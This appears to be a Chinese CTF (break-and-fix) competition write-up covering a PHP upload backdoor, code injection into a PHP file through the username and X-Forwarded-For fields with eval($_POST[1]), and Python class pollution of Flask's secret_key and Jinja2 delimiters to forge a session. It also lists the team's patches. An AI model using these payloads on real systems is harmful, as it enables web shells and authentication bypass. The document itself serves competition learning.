运气好,我们队拿了个二等,fix第三。没进决赛还是有点遗憾。

welcome

break

直接查看网页源代码即可
2024-06-26T11:59:21.png

submit

break

直接上传backdoor.php,改type为img/png,用<?=短标签绕过内容检测
2024-06-26T12:00:44.png

fix

ssh拿到源码
2024-06-26T12:05:28.png
直接白名单只允许png

$allow_ext = array("png");
$filename = $_FILES['myfile']['name'];
$ext = pathinfo($filename)['extension'];
if (!in_array($ext,$allow_ext)) {
    die("只允许png哦!<br>");
}

比赛的时候还忘了怎么获取到文件的后缀名,还好本地有存waf

粗心的程序员

break

主要是因为往一个php文件里写我们可以控制的内容。虽然写在//注释的后面,但是可以用?>进行闭合
2024-06-26T12:09:04.png
这里我们让username为?><?php,$p为eval($_POST[1]);即可。
2024-06-26T12:13:43.png
比赛的时候又忘了xff的请求头怎么写,还好队友电脑上有。
还有一种解法是\r覆盖\\
linux下换行是\n,Windows是\r\n,\r是回车,即回到这一行的第一个位置进行写
windows和linux的结果还不一样,Windows下\r直接清除这一行内容,linux下只是覆盖要写的长度。
2024-07-01T07:25:28.png
2024-07-01T07:27:59.png

fix

删除$_SERVER['REMOTE_ADDR']即可
最开始对username加了?>的waf,但是没过check,可能是被裁判机的payload打穿了

Polluted

break

源码如下

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re

def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string','secret','key','\\']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
    def __init__(self):
        pass

@app.route('/',methods=['POST'])
def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
    Evil = evil()
    if request.data:
        if filter(str(request.data)):
            return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
        else:
            merge(json.loads(request.data), Evil)
            return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
    return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
    username = session.get("username", None)
    password = session.get("password", None)
    if username and password:
        if username == "adminer" and password == app.secret_key:
            return render_template("important.html", flag=open("/flag", "rt").read())
        else:
            return "Unauthorized"
    else:
        return f'Hello,  This is the POLLUTED page.'

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True, port=80)

主要是对evil进行了merge操作,一眼原型链污染。但是一直被merge函数里的__getitem__所影响,以为payload要用到这个。后面才发现发现根本不用管(应该吧)。通过调试知道Evil.__class__.__init__.__globals__.__getitem__('app').secret_key=aaa可以成功修改secret_key的值。在没有waf的情况下,我们用burp发json的包为{"__class__":{"__init__":{"__globals__":{"app":{"secret_key":"aaa"}}}}}就可以成功污染aaa。然后我们把payload unicode编码一下就可以绕过waf了。现在secret_key就是已知的,我们就可以伪造session为adminer了。但是只得到HELLO ADMIN !! NOW YOU KNOW THE FLAG IS :[%flag%]看到这个师傅的博客才知道还要污染jinja2的语法标识符
先抄一下payload
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "[%","variable_end_string":"%]"
}
}
}
}
2024-08-18T14:10:18.png
主要是这个语法标识符的值我们是可以获取并修改的。

fix

直接过滤\u即可

bigfish

fix

有两个要修,一个xss,一个nodejs反序列化
xss直接waf掉script就可以了。

        //script
    let tx = JSON.stringify(req.body);
    // console.log(tx);
    if(!tx.includes("script")){
        fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){
            console.log(req.body)
        });
    }

至于nodejs的反序列化,不知道怎么修就直接删除反序列化语句了。没想到,居然check过了!

var str = new Buffer(req.cookies.profile, 'base64').toString();
res.send("Hello World");